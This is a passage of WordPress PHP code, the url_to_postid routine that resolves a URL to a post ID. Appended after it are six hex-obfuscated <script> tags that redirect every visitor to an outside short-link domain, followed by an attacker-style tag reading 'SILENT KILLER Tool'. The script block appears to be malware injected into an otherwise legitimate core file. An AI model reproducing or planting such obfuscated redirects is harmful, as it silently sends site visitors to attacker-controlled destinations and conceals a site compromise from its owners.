	$home_url_host = parse_url( home_url(), PHP_URL_HOST );

	if ( is_string( $home_url_host ) ) {
		$home_url_host = str_replace( 'www.', '', $home_url_host );
	} else {
		$home_url_host = '';
	}

	// Bail early if the URL does not belong to this site.
	if ( $url_host && $url_host !== $home_url_host ) {
		return 0;
	}

	// First, check to see if there is a 'p=N' or 'page_id=N' to match against.
	if ( preg_match( '#[?&](p|page_id|attachment_id)=(\d+)#', $url, $values ) ) {
		$id = absint( $values[2] );
		if ( $id ) {
			return $id;
		}
	}

	// Get rid of the #anchor.
	$url_split = explode( '#', $url );
	$url       = $url_split[0];

	// Get rid of URL ?query=string.
	$url_split = explode( '?', $url );
	$url       = $url_split[0];

	// Set the correct URL scheme.
	$scheme = parse_url( home_url(), PHP_URL_SCHEME );
	$url    = set_url_scheme( $url, $scheme );

	// Add 'www.' if it is absent and should be there.
	if ( str_contains( home_url(), '://www.' ) && ! str_contains( $url, '://www.' ) ) {
		$url = str_replace( '://', '://www.', $url );
	}

	// Strip 'www.' if it is present and shouldn't be.
	if ( ! str_contains( home_url(), '://www.' ) ) {
		$url = str_replace( '://www.', '://', $url );
	}

	if ( trim( $url, '/' ) === home_url() && 'page' === get_option( 'show_on_front' ) ) {
		$page_on_front = get_option( 'page_on_front' );

		if ( $page_on_front && get_post( $page_on_front ) instanceof WP_Post ) {
			return (int) $page_on_front;
		}
	}

	// Check to see if we are using rewrite rules.
	$rewrite = $wp_rewrite->wp_rewrite_rules();

	// Not using rewrite rules, and 'p=N' and 'page_id=N' methods failed, so we're out of options.
	if ( empty( $rewrite ) ) {
		return 0;
	}

	// Strip 'index.php/' if we're not using path info permalinks.
	if ( ! $wp_rewrite->using_index_permalinks() ) {
		$url = str_replace( $wp_rewrite->index . '/', '', $url );
	}

	if ( str_contains( trailingslashit( $url ), home_url( '/' ) ) ) {
		// Chop off http://domain.com/[path].
		$url = str_replace( home_url(), '', $url );
	} else {
		// Chop off /path/to/blog.
		$home_path = parse_url( home_url( '/' ) );
		$home_path = isset( $home_path['path'] ) ? $home_path['path'] : '';
		$url       = preg_replace( sprintf( '#^%s#', preg_quote( $home_path ) ), '', trailingslashit( $url ) );
	}

	// Trim leading and lagging slashes.
	$url = trim( $url, '/' );

	$request              = $url;
	$post_type_query_vars = array();

	foreach ( get_post_types( array(), 'objects' ) as $post_type => $t ) {
		if ( ! empty( $t->query_var ) ) {
			$post_type_query_vars[ $t->query_var ] = $post_type;
		}
	}

	// Look for matches.
	$request_match = $request;
	foreach ( (array) $rewrite as $match => $query ) {

		/*
		 * If the requesting file is the anchor of the match,
		 * prepend it to the path info.
		 */
		if ( ! empty( $url ) && ( $url !== $request ) && str_starts_with( $match, $url ) ) {
			$request_match = $url . '/' . $request;
		}

		if ( preg_match( "#^$match#", $request_match, $matches ) ) {

			if ( $wp_rewrite->use_verbose_page_rules && preg_match( '/pagename=\$matches\[([0-9]+)\]/', $query, $varmatch ) ) {
				// This is a verbose page match, let's check to be sure about it.
				$page = get_page_by_path( $matches[ $varmatch[1] ] );
				if ( ! $page ) {
					continue;
				}

				$post_status_obj = get_post_status_object( $page->post_status );
				if ( ! $post_status_obj->public && ! $post_status_obj->protected
					&& ! $post_status_obj->private && $post_status_obj->exclude_from_search ) {
					continue;
				}
			}

			/*
			 * Got a match.
			 * Trim the query of everything up to the '?'.
			 */
			$query = preg_replace( '!^.+\?!', '', $query );

			// Substitute the substring matches into the query.
			$query = addslashes( WP_MatchesMapRegex::apply( $query, $matches ) );

			// Filter out non-public query vars.
			global $wp;
			parse_str( $query, $query_vars );
			$query = array();
			foreach ( (array) $query_vars as $key => $value ) {
				if ( in_array( (string) $key, $wp->public_query_vars, true ) ) {
					$query[ $key ] = $value;
					if ( isset( $post_type_query_vars[ $key ] ) ) {
						$query['post_type'] = $post_type_query_vars[ $key ];
						$query['name']      = $value;
					}
				}
			}

			// Resolve conflicts between posts with numeric slugs and date archive queries.
			$query = wp_resolve_numeric_slug_conflicts( $query );

			// Do the query.
			$query = new WP_Query( $query );
			if ( ! empty( $query->posts ) && $query->is_singular ) {
				return $query->post->ID;
			} else {
				return 0;
			}
		}
	}
	return 0;
}
ob_start();
?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>

SILENT KILLER Tool